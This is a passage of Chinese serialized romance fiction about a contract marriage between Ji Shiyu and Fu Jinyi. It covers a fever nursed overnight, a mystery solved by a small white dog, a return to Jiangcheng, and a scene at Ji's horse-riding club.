她的脸很小巧精致,鼻尖高挺,珍珠耳环即使在夜色里也散发着温润,唇瓣……在昏暗下,仍旧光泽水润。 像夜明珠?某种时刻他也曾攫取过唇上滋味,他想了想认为这个形容并不太正确。 猝不及防,季时与把伞沿微微翘起,眸子撞入一汪深潭。 她问:“这算哪门子谢礼?” 傅谨屹视线回到正轨,“谢你下午为傅家出头。” 季时与“嗯哼”一声,她明白归明白,只是,“这到底是算为傅家出头,还是为你傅谨屹?” 二者可是天差地别呢。 傅谨屹哑然失笑“你倒是算的明白。” “那当然。” 为傅家出头,只在他这博得了个好名声,若是承认她这是为他傅谨屹出头,那么以后携恩以令天子就再简单不过了。 傅谨屹声线沉缓下来,“为傅家,也为我。” 他还真是……商人本色。 仔细想想这么点芝麻大的好处未免也太不划算,人家的谢礼都出手阔绰,珠宝奢侈品的送到手软。 她也不是那么硬气的不能接受。 季时与嘴上不再出声,脸上的表情可没闲着。 “你喜欢这个地方?” 傅谨屹问的太突然,季时与未经思考“嗯?”了一声。 “怎么了?” 四下阒然。 只是感觉上的不同,他不曾了解,无法精准的捕捉落实,但不难感觉,在江城,在南城,她总是清冷的笼罩着一股难以言喻的,哀绪? 似也不似。 在傅家的这座园林,她变得轻快,大雪压弯了青竹,她反倒铮铮。 “没怎么,我这个人不喜欢欠人情债,感情债也一样。” 季时与现下不想动脑子,顺着他的话,他问什么,她便答什么,“所以你要送我这座园林?” “的复刻版。”傅谨屹接道。 季时与摇头,“你不懂宛宛类卿的感觉,即使送我一座一模一样的,也不是这一座。” 傅谨屹垂下眼帘,心中有所想,他依稀记得半个月前季时与问过他,关于会不会爱上这个问题。 再加上今天傅老爷子三令五申提醒的话,在此刻显的有那么点信服度。 所以她不是对这座园林有特殊感?而是对人? 身旁渐渐没有了声响,连踩积雪的细微之音都消停,季时与不明所以,心下一惊以为只剩她一个人了,猛地回过头,傅谨屹还站在原地。 她心有余悸,“你被夺舍了啊?” 傅谨屹身量颀长,这件大衣外套是瑞士顶级私人手工订制,没有任何一个人会比他穿的再更好看,眉目借女娲之手,是精雕细琢过的深沉刚毅。 他只需这么静静的在黑夜里长衣而立,犹如修罗界执掌刑法不怒自威的堕神。 傅谨屹没有回答,眼神沉沉的望着她,“季时与,我们只是在演戏,不要擅自在利益纠纷里产生感情,这对你并没有好处。” 发明翻脸比翻书还快这个词语的人,简直是个天才,翻书好歹还有规律,傅谨屹简直比天气还难测。 季时与觉得他脑子发作起来不可理喻的时候,让她越来越忍不了之余,更为清醒些。 傅谨屹的看法于她而言,就跟墙外的普罗大众一样,她并不在乎。可眼前真正体会到时,还是有那么点不一样的,毕竟他们之间比那些人与她之间多了一张红本。 但这也只有仅仅一瞬的失落。 “傅先生放心,不会的,我想你应该是误会了,我对你从来没有过别的想法,我怎么样我自己清楚,从前不会,以后也谨慎。” 她的神色傅谨屹尽收眼底,“抱歉,是我措辞不当,我的意思只是,你情我愿的情况下,双方义务以及其他原则上、道德上、以及金钱上的,我都可以给你做保证,再不济我们可以以合同的形式进行约束,但感情上我无法提供任何保障。” 他停顿,很认真的为她解答,“当然这不代表你不好,而是我没有兴趣谈论感情,但我需要一段婚姻,这我们双方婚前已经说明了的,只各取所需,对一个不爱的人动上感情,受伤的会是你。” 姜静一直都说季时与这个人没有小心眼,但缺点就是太记仇,譬如此时此刻,她隐隐在心里记下了这段话。 离他们住的那栋已经不远,目之可及。 季时与抬脚的瞬间,暗处陡然冲出来一团雪白扑向她,连退几步之后跌坐在地上。 脚踝锥心刺骨的疼痛。 季时与忘记最后是怎么回的房间了,只记得傅谨屹托住她时,貌似说了一句。 “怎么这么烫?” 7、第 7 章 喉咙底下像有一把火,不是在肆无忌惮熊熊燃烧,更像是没有火苗,单纯不断地在烘烤,直至把她的嗓子熬干,发不出一丝声响。 季时与挣扎着,想摆脱困境,想逃出火笼,却发现浑身使不出劲儿,骨头缝里似乎都在被蒸干水分的疼。 用力一搏后猛地惊醒。 房间里黑黑的,但空气很新鲜,她趁机猛吸了几口,才慢慢缓过神来。 身上湿黏的厉害,原本穿着的衣服,被换成了缎面单薄的睡衣,粘在脊背上太不舒服,她推开梦里压的她喘不过气儿的被子,想下床喝水喘口气。 脚踝的疼痛通过神经传达到大脑,让她下意识“嘶”了一声,倒吸一口气。 门外的人似乎是听到她的声响,随着开门的音调,一道光亮透过已经开了半臂的门,落在她脸上,照的她的脸色更显惨白。 “你醒了?” 门口的男人已经换了一身装束,她看到还未熄灭的烟蒂在他指尖明灭,手机屏幕亮着正在通话。 “嗯。” 季时与喉咙干涸的厉害,只能发出一个单字音节。 傅谨屹似乎是知道她的意图,挂断后转身下一楼,再上来时烟已经处理干净,拎着一壶水。 季时与握着手里的玻璃杯有些诧异,温度刚刚好可以下口。 经过温水的滋润,嗓子如获新生,带着小小的感谢,把杯子还给他。 傅谨屹先探了探她的额头,才接下,“已经退烧了,还冷吗?” 他面色阴沉,让季时与拿不准他是对于无奈照顾她不耐烦,还是在生气。 具体生什么气,她不知道。 季时与少了那股与他对仗争辩时的倔,只剩无精打采的病恹恹,此时也扮做乖巧的点了点头、想起来他问的是什么的时候,又快速否认的摇了摇头。 “不冷,太热了,我做梦梦里都是火烧火燎的。” “你在梦里不停地说冷,发起烧来倒是会说了,从江城到涿州的温差大你是真不知道还是假不知道?夏天这么穿,冬天也这么穿,死鸭子嘴倒是硬。”她脸色实在苍白,做梦时蜷成小小的一团,纵是傅谨屹再铁石心肠的人,也不忍再责备,只当着她的面叹了句,“该。” 平时属于简洁派,这么大长串的话,季时与还是第一次听他说,大概是晚间工作时间还得分身抽出一点空照顾她,有些不耐。 不过季时与并没有什么负罪感,她心安理得的躺好。 嘴硬:“我这不是冻的,是因为那条狗,被惊吓到了才会发烧。” “哼。” 傅谨屹冷冷哼了一句。 “你哼什么?” “你的脚扭伤了,让医生过来顺便也看了,没什么大问题,好好修养一段时间,消肿了就没事了。” 季时与又开始有些昏沉,还不忘嘟囔,“那条狗肯定跟我犯冲。” 傅谨屹是实打实的有些不可置信,即使阅人无数,他也没法想明白她是怎么能说出这句话的。 傍晚让她去换衣服前,她从书房里下去后没多久,傅谨屹也带着傅老爷子从书房里出来,透过门窗清晰可见的她在路边雪地上逗弄一条小白狗。 那白狗也不怕人,任由她一会儿抚摸着脑袋,一会挠挠肚皮,玩了好一会。 直到打扫书房的阿姨从另一条路上过来,季时与猛的站起来,换了个人似的,用鞋面把脚边露着肚皮的小白狗推开,推的离自己远了些。 人前恢复成那副季大小姐的模样。 直到阿姨走的远了些,她又继续逗弄了会,才心满意足的离开。 眸中的人貌似又开始陷入沉睡,但梦乡里估计是不太安稳,才会隐隐皱起秀眉。 傅谨屹突发奇想很想问问人前显贵,人后富贵的季大小姐。 “你喜欢狗?” 躺着的季时与眼皮动了动,仿佛脑子已经接收到了这个消息,还没有开始支配嘴巴做出回应。 “什么狗?我不喜欢,舔狗啊?” 她一阵呓语。 傅谨屹失笑,果然是他猜不到的回答。 他看了眼时间,把手里的玻璃杯放下,准备退出房间。 转身的动作才完成,手腕被一股力量扯住。 不大不小的劲儿,足够让他回头。 原本该睡着的人,抓住他的手腕,眼神坚毅的像要入党。 “要不然你在这打地铺?” 这说的是人话吗?房子里有那么多床不睡,凭什么要在她的房间里打地铺? 季时与有些心虚,让她跟一个前不久才争执过的人提出这种要求,脸上确实很没面子。 离她气势汹汹放完狠话,估计连五个小时都还不到,就要拉下脸来求他跟她待在一个房间里。 也不怪傅谨屹会误会了,搁她自己身上,她也不能理解,女人到底是如何炼成的。 或许比钢铁是怎样炼成的还让人有研究欲望。 季时与思忖后终于想到一个万全理由,“因为傅爷爷说让你要对我好,好好照顾我。” 都不用过多怀疑,傅爷爷一定说过这句话。 她扬起的脸上,快要掩盖不住的得意,宛若已经拿捏住他了。 傅谨屹牵起唇,笑了一下风流倜傥,“这里没有傅爷爷,你要是想去告状,可以走到傅爷爷那栋去敲门,不过……” 有意吊着她胃口一般,笑的有些混蛋,“你傅爷爷老了有点耳背,你可以祈祷一下他晚上失眠的时候能听到你的敲门声,不早了,你也早点休息。” “等一下!” 傅谨屹拧着门把的手没再转动,有意听她说完。 “其实我也不是不能去你房间里打地铺,你先去把地铺铺好,我慢慢的走过去。” 季时与一咬牙,一狠心,大女人能屈能伸。 看她是真要下来走,傅谨屹几个跨步重新回到床沿,拦住了要下地的那条腿,“腿上不是有伤?” 季时与动作一顿,想再扯起一个笑,不成想没如预期的扯起来,做成了高不成低不就的嘲弄,“痛的时候才不会遗忘,太久不痛就忘了不会痛之前的那种滋味儿了。” 疼痛比快乐更让人记忆深刻。 太久不痛,屈居安逸之下,她都要忘记她从前的样子了。 傅谨屹听的一头雾水,但为了阻止她自虐般的行为,从隔壁房间挪了几床被子铺在地上,“长大后的第一课,都是要向前看。” “我的前面一片雾茫茫,不知道该看哪。” “那就从身边看的见的地方看起。”傅谨屹又重新亮起手机屏幕,幽幽绿光映照在他的面庞,“我还有点工作要处理,你先睡。” 季时与终于安心的躺下,也许是药物的作用,本来前一次躺下也迅速的步入沉睡。 可她脑中贸然闪过一丝不安,下午她跑出去,就是因为房子里有很奇怪的动静,再让她一个人待在一间房里,说不好听点,万一有点什么东西。 她岂不是自寻死路? 季时与天不怕地不怕,唯独害怕这种虚无缥缈,属于魔法攻击的,都不能称之为生物的“生物”。 傅谨屹处理完今天最后的一点公事后准备入睡,不多时,迷迷糊糊间听见一阵呓语,没消停多久,又是哼唧声。 他强迫自己睁开眼睛,坐起身任由凉意侵袭清醒一会,再一步干脆掀开季时与的被子,躺了进去。 抚了抚她的额头,意料之内的低烧,才会导致她不停地翻身难受。 傅谨屹只好单手把她弄进怀里,面对着面,右手在她脊背上轻轻的拍,一下又一下。 这才终于安静了会。 不知道过去了多久,傅谨屹觉察着怀里像抱了个小火炉,不得不拍拍她的脸。 季时与哼哼了声,把脸上不停扇着的手打开,却怎么也打不着。 迫不得已在神思混沌的时候睁开一条眼睛缝,“傅谨屹?怎么了?” “再吃一颗退烧药。”随之一颗药丸被强硬的塞入嘴里,马不停蹄又倒了几口水进来。 他命令式的语气:“咽下去。” 季时与只好乖乖束手就擒,照做,才被放过。 傅谨屹再躺下时,已经清醒了许多,手机显示凌晨4点。 床头灯是亮着的,房间很大,才显得灯光那么昏弱。 倒在怀里的人,醒来前经过好几番挣扎,衣领的扣子被挣开几颗,肌肤在夜色里细腻光滑。 睡的不太安稳头发也凌乱,她的发丝偏细软,洗发水的香味幽深。 季时与睡得不太舒服,又四处拱了拱。 傅谨屹胸前不断被她研摩擦拭,三番两次后竟直接贴着他睡的严丝合缝,少女柔韧的身躯在他高大的身形下可以完全被笼罩。 在绝对力量下,人脑子里隐藏的劣根性思想,就会显得无处遁形。 季时与脸上因发着烧,升起两团酡红,气焰早就消失殆尽,只剩病态的柔弱,像一只有生命有温度的布偶娃娃,任人揉捏。 傅谨屹能明显感觉到某处极度不适,伸手把季时与箍住他腰身的手掰开,推到一旁,还没等他有其他动作,下一刻,女人独有的馨香又送入他鼻尖。 好似还是这块地盘睡得舒服,末了,还满意的蹭了蹭。 “癞皮狗。” 傅谨屹尝试了几次之后无果,伸手摸了摸她额头,烧已经退了下来,最后一次掰开她的手,迅雷不及掩耳之势用被子卷住她。 而后去了隔壁。 季时与朦朦胧胧觉得这一觉睡的很长,也很不安稳,隐约间有什么东西好像从未关紧的房门外进来。 哒……哒哒哒……哒哒……哒哒哒…… 又是那种轻轻的,湿乎乎黏答答的声响。 等等!又是!!! 季时与眼睛募的张开,惊恐之余还没容的下其他想法,却又猝然怔住。 房间里没有她想象里的任何东西,甚至连风吹动窗帘的情况都没有发生。 有的只是一只摇着尾巴,朝她吐舌头巡逻的小白狗。 白狗身后带着一串若隐若现的水渍。 谜题解开。 季时与心头紧绷的神经一瞬间散开。 小白狗的肉垫踩了雪水上来就是这种湿乎乎黏答答的声响,只不过昨天下午她没仔细看,双腿难敌四脚,等她追出去的时候,狗早跑了。 脑子完全恢复意识后,季时与看了眼时间已经是第二天下午1点。 房子里没有傅谨屹的动静。 手机上他清晨的时候发了一条消息,让她去昨天晚上的宴会厅吃早饭。 季时与收拾好下去,只见门口等了个洒扫的阿姨。 阿姨见她下来,便拥上去,“太太,脚好些了吗?” “谢谢,好多了。”她报之一笑。 “昨天看你烧的厉害,我帮你把衣服换下来之后,小傅先生就让我们早上准备一份流食,随时热着,这会我带你过去正好可以喝。” 本来方才以为衣服是傅谨屹换的,这下倒也不用不好意思了。 阿姨的精气神很好,中气十足,季时与也被带着活络了起来,她是极其容易被情绪感染的人。 厅里没有傅谨屹,倒有两个意料之外的人。 傅爷爷似乎是有意在这等她。 而另外一个,是刚起床的傅谦。 “时与,还有发烧吗?”傅老爷子看着她不过一晚就消瘦了些的脸颊,精神萎靡,想来是昨晚烧的厉害。 季时与虚弱笑答:“好多了。” “腿上呢?” “也不碍事,就是还有点肿,走路也能走。” 傅老爷子这才放心了点,“谨屹那边有工作,早上很早就飞回江城了,你感冒还没好,要不然多留几天?” 傅谨屹回了江城?难怪一早上都没看见人影。 左右季时与也没事,终日庸庸碌碌,在哪不是待,便答应了下来。 “一早上没吃东西,快快喝点粥吧。” 傅老爷子看过就放心了,拄着拐杖回自己的书房。 一直被忽略的傅谦才开口:“听说你被那条狗吓了?” 季时与被他的话呛了两声,什么叫那条狗? 他责任倒是撇的快。 “那不是你的狗吗?” 傅谦无所谓摆摆手,“谁说那是我的狗了?那是我女朋友的狗,而且我都跟你说了那条狗不是好狗。” “你女朋友的狗不是你的狗?”季时与力气都上来了几分。 “现在不是了。” 她皱眉,“什么意思?” “我们俩昨晚分手了已经。” 他若无其事喝着粥,仿佛说的不是他自己。 ? 不过季时与想想也是,像他这样的浪荡公子哥,不论是在江城还是南城,一抓一大把,女朋友不过就是个岗位。 “那你前女友的狗怎么办?” 傅谦眉心透着不满,不满她口中的“前女友”三个字,“在傅园又饿不死它,难不成还让我给前女友送狗?” 8、第 8 章 傅谨屹离开傅园的当天,大雪不再纷飞,松枝上还未化尽的雪凝固成冰渣子,接近晚间时,还出了一会儿太阳。 季时与闲来无事跟傅老爷子学了会书法,写了一副“瑞雪兆丰年”。 字算不上多好,但是能看,意在寓意,在傅氏,也在傅爷爷。 哄得傅老爷子连连夸好,符合今日的情形,又是个好预兆。 “所以您更得保重好身体,医生说的就是金科玉律。” 季时与在一旁写着,她不像傅老爷子这个年纪爱写静,她在纸文里寻找静,写着写着倒是觉得挺有意思,回了静园也可以请个书法大师来家里请教请教。 “我自己的身体我当然知道,医生说的话我哪句没照做?你呀,跟谨屹也学上了唠叨的毛病。” 字音刚落,最后一笔也收尾,傅老爷子满意的看着手里的那副字。 季时与忍俊不禁,“您还真以为我不知道呢?前一会您身边的司机偷偷送来的那盒墨西哥雪茄,怎么少了一根?” 傅老爷子当然不会承认,“哦,这个啊,我看他辛苦,所以就让他抽了一根。” 临时的借口总是这么蹩脚。 “傅爷爷可不是小气的人,哪怕跟您再不对付,面子上礼数上也周全,何况还是您身边亲近的人,雪茄您会选择不给一整盒,而只是让他拿了一根?” 听完季时与细说,傅老爷子不承认也得承认了,他无奈的指了指,“你呀,小鬼灵精,可不敢跟谨屹说啊,这段时间就抽了这一根,我保证。” 季时与笑的嫣然,当然是说着玩玩的,她跟傅谨屹没什么状可告的。 傅老爷子于她,就跟爷爷在世时是一样的,古板中又透着有趣,所以她也乐意多陪陪。 这场大雪过后,才迎来涿安真正的春天。 她除了写写字,逛逛园子,赏赏景,就是跟傅谦吵吵嘴,优哉游哉。 但傅园总归不是她该长待的地方,傅谨屹不催,傅老爷子反倒开始着急。 急的是两人分地而居,总归是不利于感情培养的。 “谨屹还没来接你回去吗?”傅老爷子在饭桌上开始试探。 “没呢爷爷。” 季时与咽下早餐最后一口燕窝小米粥,老实回答。 傅老爷子思索一会,先是安慰,“没事的,可能最近是比较忙。” 忙与不忙,傅谨屹都是不会再折返涿安,只为她接她回去的。 他有他的行程,季时与也从没寄希望于他身上,只是想在这躲躲清闲。 这些傅老爷子不明白,季时与心里自然有数。 “爷爷,我正想跟您说,江城那边有个朋友今天早上联系我,她急着让我回去,说有事呢,我在这也待了快两个星期了。” 关于朋友的事是真的,姜静从两天前就开始给她发消息。 “你是怎么打算的?” 季时与把早已成型的想法说出来,“我定了明天下午的机票。” “你给我小点声!”傅老爷子的拐杖下一秒就打到了傅谦的背上,力道不轻不重,刚好让他把嘴里的吐出来。 傅谦猛的咳嗽几声,“喝个汤也不让人喝了!” 消停后,背部慵懒的瘫倒在椅背上,额前的长发扎在他半阖的眼皮下。 像戴望舒的诗句,雨巷里的忧郁诗人。 季时与惊讶于情场浪子也会有这样的一天,与她来傅园第一天见他时的样子,判若两人。 “你看看你那个死样子,头发也不剪,胡子拉渣,人家女孩子就算不跟你分手,都是你奶奶在下面烧高香了,你给我滚回江城去。” “那麻烦您告诉我奶奶,不用烧高香了,分手了没用了,我今晚就回江城。” 他颓丧着气质,撂下一句后就走了。 季时与起初以为他尝到这种滋味会从此收敛,后来才发现,是她单纯了,且大错特错。 傅谦走后,餐桌又重新恢复宁静。 傅老爷子赞同她的想法,叮嘱她照顾好自己,回去后傅谨屹要是有什么做的不对的地方,她尽管回来告状,保证绝不偏袒傅谨屹。 飞机第二天准时起飞,到江城时不知是什么原因,绕飞了四十分钟,才降落。 落地时已经是晚上八点。 就算再怎么省事,季时与也有些累。 机场地面停车场上永远有傅家的一席之地。 不管是从哪飞回来,她的航班消息一出,傅家的司机都会准时准点在等着她。 季时与下了飞机轻车熟路的往既定位置过去,行李都有专人会从行李转盘那取完送回傅家。 江城的春天是暖和,即使是晚间最低也有18c。 不过风还是凉的,她里面只穿了一件单薄的短连衣裙,外面套了件黑色长及脚踝的风衣,一顶赫本风灰色宽沿帽,没带任何品牌标志,帽的里沿被她镶了一圈珍珠,偏右边的位置留了一朵白色山茶花。 身材轻盈高挑,贵气的不近人情。 黑色顶配宾利停在黑夜里,与她独特的气质同样相得益彰。 季时与有些累,打开车门侧身坐下便闭上眼睛沉寐。 “直接回静园。” 没有得到的回应,以及一丝清冷的味道在侵入她的界限,虽似有若无,但闭着眼睛时鼻子跟耳朵会异常灵敏,她很警觉的睁开眼。 隔着后座中间的中控台,一道沉稳的身影坐在她右方,身着的是极其郑重的正装,君子肃然而端方。 许久不见,傅谨屹今日似乎比往日更添庄严,气势比往常更浓烈。 如那丝清冷的气味一般,一边不动声色,一边在入侵她的领地。 前座的司机在内后视镜里请示傅谨屹的意思。 傅谨屹微微颔首,声音清冽,“回吧。” 季时与的帽檐很宽大,她需要微微仰起头才能把傅谨屹纳入眼底,“你怎么在这?” “早上去参加了个座谈会,刚下飞机没多久。” 两个星期没见,时间不长也不短,却刚好够横亘在二人中间。 季时与没想太多,飞机上一直没睡着,这会温度适宜,宾利后座极度舒适,颠簸感几乎不存在,她很快便沉入梦乡。 见到她的那一刻,傅谨屹才想起来离开涿安的那天,她还发着烧。 多日的连轴转,处理完集团内部的事务,马不停蹄又要与各地方重要人物洽谈,让他连多一刻分心的时间都没有,一天下来难免身心俱疲。 身旁的人一动不动,静默的空间里能听到她的呼吸重过方才。 傅谨屹收回目光,也收回准备启唇的话。 手机上又一个电话进来,他悄然挂断,再转为文字交流。 直到驶入静园。 季时与悠然醒来,身体有些僵硬,准备伸个懒腰才意识到身旁有人,伸到一半,被她强制收回。 她的举动当然逃不过傅谨屹,“我有时候很让你害怕吗?” 季时与摇头,“没有啊。” 算了,就算有她也不会承认。 傅谨屹从容不迫的下车。 这不太满意的神色是因为想听她说怕吗?季时与不明所以,下车跟在他后头。 事实上说不上怕与不怕,刚结婚那段时间,圈子里各大邀约不断,不得不应付,从前她是以季家二小姐的身份参与,后来是以傅家太太的身份参与。 从旋涡中心变为更中心。 即使她有时候着实看不惯那些人,没什么好脸色,那些人照样也趋之若鹜的邀请她。 某天她回来的晚,门外横着一辆老旧的奥迪。 司机别不过去,没法直接驶入静园里面的停车位,先熄了灯。 季时与透过昏暗的车窗,看见傅谨屹面前有一对夫妇,那对夫妇她认识,结婚时她们还亲切的攀谈过。 现在他们双双跪在傅谨屹面前,季时与把车窗降下来,她听见他们如泣如诉。 求傅谨屹帮帮忙。 傅谨屹脸色冷硬,双手将他们扶起来,说:“很抱歉,我不会帮。” 是,很抱歉,我不会帮。 而不是我帮不了。 她太年轻,没有见贯这些,带刺的外表下难免还是会有恻隐之心,即使她明白傅谨屹这么做有他这么做的道理。 后来里面的门道听得多了,也不再唏嘘,更无所谓怕不怕他。 反而有时候她的臭脾气上来,就喜欢做些挑衅傅谨屹的事情。 那是她,偶尔为数不多觉得在傅家还有点乐趣的事儿。 —— 秦姨知道他俩今晚都会回来,所以没着急回去,一直在静园里等。 俩人一前一后的进去,更是把秦姨看的发自内心的高兴。 以为俩人进展飞快,说不定过不了多久,次卧里的东西,都会变到主卧里去了。 傅谨屹还有事要忙,直接上楼进了书房。 秦姨笑眯眯凑过去打听,“谨屹这孩子还是不错的吧?” 季时与在车上睡过一觉后,精神头充足了许多,不太明白大家怎么这么看好他俩,目前这样井水不犯河水挺好的,她挺满意,不希望再更进一步。 她不想与别人分享她自己。 季时与思索着嗯了一声,“再考虑吧,他除了有礼貌一点,比别人忙一点,没什么长处。” “是么?什么叫,有长处?” 傅谨屹双手插兜站在楼梯转角处,上半身隐匿在阴翳里,居高临下。 但他现在不是审判的那个,是楼下两人的被审判对象。 傅谨屹洗耳恭听的模样。 “不好意思傅先生,在你的身上暂时没有发现噢。” 季时与也学他抱歉但冒犯的方式回答。 如果不考虑其他,他是不是可以合理的怀疑,这是她因爱生恨报复的方式? 季时与是一个记仇的人。 傅谨屹渐渐开始意识到。 “希望以后晚上有机会。”傅谨屹一本正经,“你们慢慢聊,我倒杯水。” 季时与属于是一点就通的类型,不管哪方面。 虽然婚后傅谨屹没加班加点到处飞,在静园的夜晚很少,但他们之间不是没有过,基于双方的生理需求,少,但是次次脸红心跳。 秦姨没注意到她骤然红了的脸,经傅谨屹的话,想起来什么似的,忙着收拾东西回家。 “时与,厨房里我给你炖了温补的汤,你待会喝点,很清淡不油。” 季时与晚上一般都吃的很少,甚至不吃,那是她多年留下的习惯,没有刻意去改,顺其自然。 秦姨知道她的习惯,所以晚上如果熬汤汤水水,都会做的特别清淡。 季时与也欣然接受,“好,这么急有什么事么?” 秦姨有点懊恼,“我女儿周末想勤工俭学,准备在江城这边找点兼职,今晚回家,我给忘记了。” “是工资不够吗?我记得她好像是南城大学的学生。”季时与了解秦姨家里的情况,所以工资她开的比从前在傅家老宅里还要高出许多。 “不是不是,是她想锻炼一下自己,在江城这边我还可以给她做点好吃的,周末补补营养。” 秦姨很感激她,开始听说傅谨屹娶季时与时,她也担心过好长一段时间,外面都传言她如何如何。 可后来相处过,她是发自内心的喜欢季时与,不明白恶意怎么会如此之大。 季时与不置可否,她从前在国外读书的时候也干过勤工俭学的事,不过都是在她大手大脚把当月的生活费挥霍完,才会出现的情况。 “你让她来我的马术俱乐部吧,能通过培训考核的话,周末来兼职薪水不菲。” 这个俱乐部是季父季清送给她18岁的生日礼物。 里面有一片极大的天然跑马场,草地广阔,在江城数一数二。 11. 第11章 江城历来春季多雨,降雨量频繁时,能持续一个月。 今年却一反常态。 风和日丽的午后,熙和的阳光布满整个场地。 跑马场翠绿的青草地有专人打理,长势的高低都被控制的一分不差,一眼望去除了地脉的连绵,宽广辽远。 季时与到的时候,姜静已然到了不止一会儿,遮阳伞下悠然的品着茶香。 “呸。” 季时与猝不及防被口腔里充斥的苦袭击了味蕾,往身后吐了好几下。 手里从姜静那夺过来的茶杯险些没拿稳,仔细端详,“你往我的茶杯里倒咖啡?” 姜静睨了她一眼,季时与小巧精致的面容被脸上的黑色方框墨镜遮挡住了大半,但还是不难看出她的气愤,“我不喜欢喝茶你又不是不知道,我那杯咖啡不小心弄撒了,只好用你这些小茶杯装一下。” “小茶杯?”季时与音量拔高,“小茶杯!?这套茶具是我从……” “从瓷器大师那辛苦学了两个星期做出来的,知道知道,你每次都要重复一遍。”姜静让她冷静点坐下,“你不觉得有点太丑了吗?颜色也不均匀,高中的时候我就想说了。” 季时与愤懑不平,“你懂什么,这叫抽象派。” “有够抽象的,你见过杯子上画了两朵长着脚的花吗?” 季时与不以为耻,明明就是艺术,人家瓷器大师都夸她后生可畏。 “时与姐,你喝点什么?”清脆的声音传来,小姑娘一身白色连衣长裙,头发长已及腰,为了方便干活用一根丝带挽了起来。 清泉般的眼睛,听话乖巧的模样,像跑马场漫山遍野的翠绿里长出来的一朵小白花。 季时与努力回想了一下这双眼睛,“你是秦姨的女儿?” “嗯嗯。”小姑娘迎合点点头,“我叫秦桑桑,时与姐叫我桑桑就好。” “桑桑。” 季时与默念。 很好听的名字,她挺喜欢。 “学会骑马了吗?” 秦桑桑摇头,素净却不失好看的脸有些为难,“还没有,总教教了我几次,但是一直学不会,后来就没学了。” 季时与回想了一下,她请的总教那一身五大三粗的腱子肉再配上一张黝黑的脸,骑术虽然让人很信服,但是更多人见了只怕会像秦桑桑一样紧张。 “但是不是总教的问题,是我太蠢了学不好,所以后来干脆就不学了,反正我平时的工作简单也用不上考马术教练证。”秦桑桑怕她误会,急于解释。 “没关系,我可以教你,你换一身马术服,然后找个教练带你选一匹温驯的马送过来。” 季时与的声音也不自觉的软了下来。 “你什么时候这么有耐心了?”姜静继续品着咖啡。 “你不觉得吗?她一看就很让人有保护欲望。” 随后季时与就为她这句话付出了极其惨痛的代价。 再强烈的保护欲望,她都招架不住。 原本斗志昂扬的季时与,此刻像只败下阵来的斗鸡灰溜溜的跑回了遮阳伞下。 咕咚咕咚的先喝了几口凉水。 “怎么了?”姜静憋着笑问。 季时与很累,不止身体累,心灵上的冲击也累,她眺望着远方教练牵着的那匹小棕马上的人,由衷感叹,“她不适合这项运动。” “噗呲。” 姜静没忍住笑出了声。 季时与白了她一眼,“你到底准备说什么?非要当面才能说。” 姜静不急不缓,看着她,“没什么,想让你帮我一个小忙。” 还有她能帮上的忙? “什么?” “我妈培训机构的一个舞蹈老师前段时间怀孕不小心摔了一跤,现在在家保胎呢,事情发生的突然,你知道这个机构的事情不能让我爸知道,临时找不到人顶上,学生那边有部分家长也会有意见。” “不去。” 季时与听到时有片刻怔愣,随后只等她话音一落,拒绝的毫不拖泥带水。 姜静进一步,“帮我一个忙嘛。” 季时与不为所动,静静地坐在那,墨镜下的眼睛辨不出神色,“我不会跳舞,而且我讨厌小孩。” “只是教一些小孩子基本功,对于你来说绰绰有余,就当是帮我一个大忙,好吗?” “真的只有我这个选择吗?姜静,我很清楚我的情况,也清楚你的意思。” 真的要找,不会找不到合适的人选,只不过是多费些钱与时间。 姜静却偏偏要她揭开,要她学会翻篇。 “你想往后二十年、三十年、或者更长久,永远都在阴影之下吗?”姜静苦口婆心,“季时与,你已经让阴影吞噬了,没发现吗?你身边已经没有朋友,没有了原本该有的生活。” “你不是我的朋友吗?”季时与就那么看着她。 姜静漏出那张可怜的底牌,“然后呢?冷宫里边都跟两个太监,一辈子那么长,只打算跟我一个接触?何况这不需要你重拾你的舞蹈,只是帮我几天的忙,你只需要教教小孩子,多简单的,我妈,你的阿姨,也不用愁的晚上睡不着觉。” “几天?” 季时与的固执与牛角尖碰上她的感情牌,从来没法狠下心。 见她有所松动,姜静趁热打铁,“一个星期,只有7天。” “废话,你家一个星期有8天?道德绑架。” 季时与无法放下心里的芥蒂,但也知道这家培训机构是姜静的妈妈的心血。 她从前在少年宫教小提琴,后来未婚先孕,那个时代没有人敢留她继续工作,姜静没有“认祖归宗”时,读书的学费都是靠他妈妈一天几份工作,还有四处上门给富人家的孩子教小提琴得来。 季时与与姜静认识是小学的事情了,两个人待在一块经常无法无天,闯了祸季时与不敢告诉解云,家长会没少求姜静妈妈去开。 后来姜静妈妈慢慢攒了点,才开了一个小培训机构,再到后来姜静俩人被接回了姜家,姜静长大有了能力之后,机构才被一步步,慢慢扩大,整个机构姜父是一无所知的,他妈妈仍旧保留着自己的体面。 “绑不绑架无所谓,目的达成了就好,咱们时与还是心疼我的。” 季时与轻哼一声。 姜静贴上去示好,“晚会我就飞多伦多出差了,得去两个星期。” 季时与总算是知道姜静为什么非要当面说了,一来她隔着手机,季时与的心狠的跟什么似的,当机立断就会挂断,当面说季时与没法不听。 二来她特意挑了要出差前,就算她不答应,这个烂摊子十有八九也落到她头上了。 季时与又是一声冷哼,“这件事情,不要让傅谨屹知道。” “是么?” 空旷的草原上深沉的嗓音如恶魔低语,春风絮絮,一字不落的送到她耳朵里。 季时与心头不可控制的颤了颤,侧头,三男一女走近。 为首的是傅谨屹,依次是傅谦,另外一男一女季时与没见过。 “什么是不能让我哥知道的?说来听听?”傅谦笑的奇怪。 傅谨屹一个眼神,傅谦便噤声,带着几分桀骜不驯,绕过预留好的位置坐在伞下,跟姜静微微颔首算是打了招呼。 季时与起身,傅谨屹走的更近了些,与她同排而立。 低沉郑重道。 “介绍一下,这位是我的妻子,季时与。” 季时与个子不低,但在傅谨屹面前还是矮了一个头,只到他肩膀。 她的卷发被风都吹散在脑后,有几丝碎发一直拍打着她的眼睛,她无动于衷。 微微仰着头,看向傅谨屹。 他是怎么把妻子两个字说的这么自然的,脸不红心不跳。 稍微停顿后,傅谨屹目光下移,落在她脸上,继续道:“这位是金叶集团的叶肖,叶总,跟他的未婚妻林小姐,林序。” 季时与笑着优雅点头示意。 姜静接过傅谨屹投过来的目光,从善如流,伸出手介绍,“叶总久仰,姜静。” 叶肖礼貌回握笑道:“融方控股的姜经理,久仰。” 一旁站着的林小姐似乎是不满意叶肖的态度,扭捏的推了他两下,让他收敛。 季时与跟姜静把这画面照收眼底,心照不宣的对视了一眼,姜静拿起手机笑意不减,“我下午的飞机,这会得赶去机场,你们慢慢玩。” 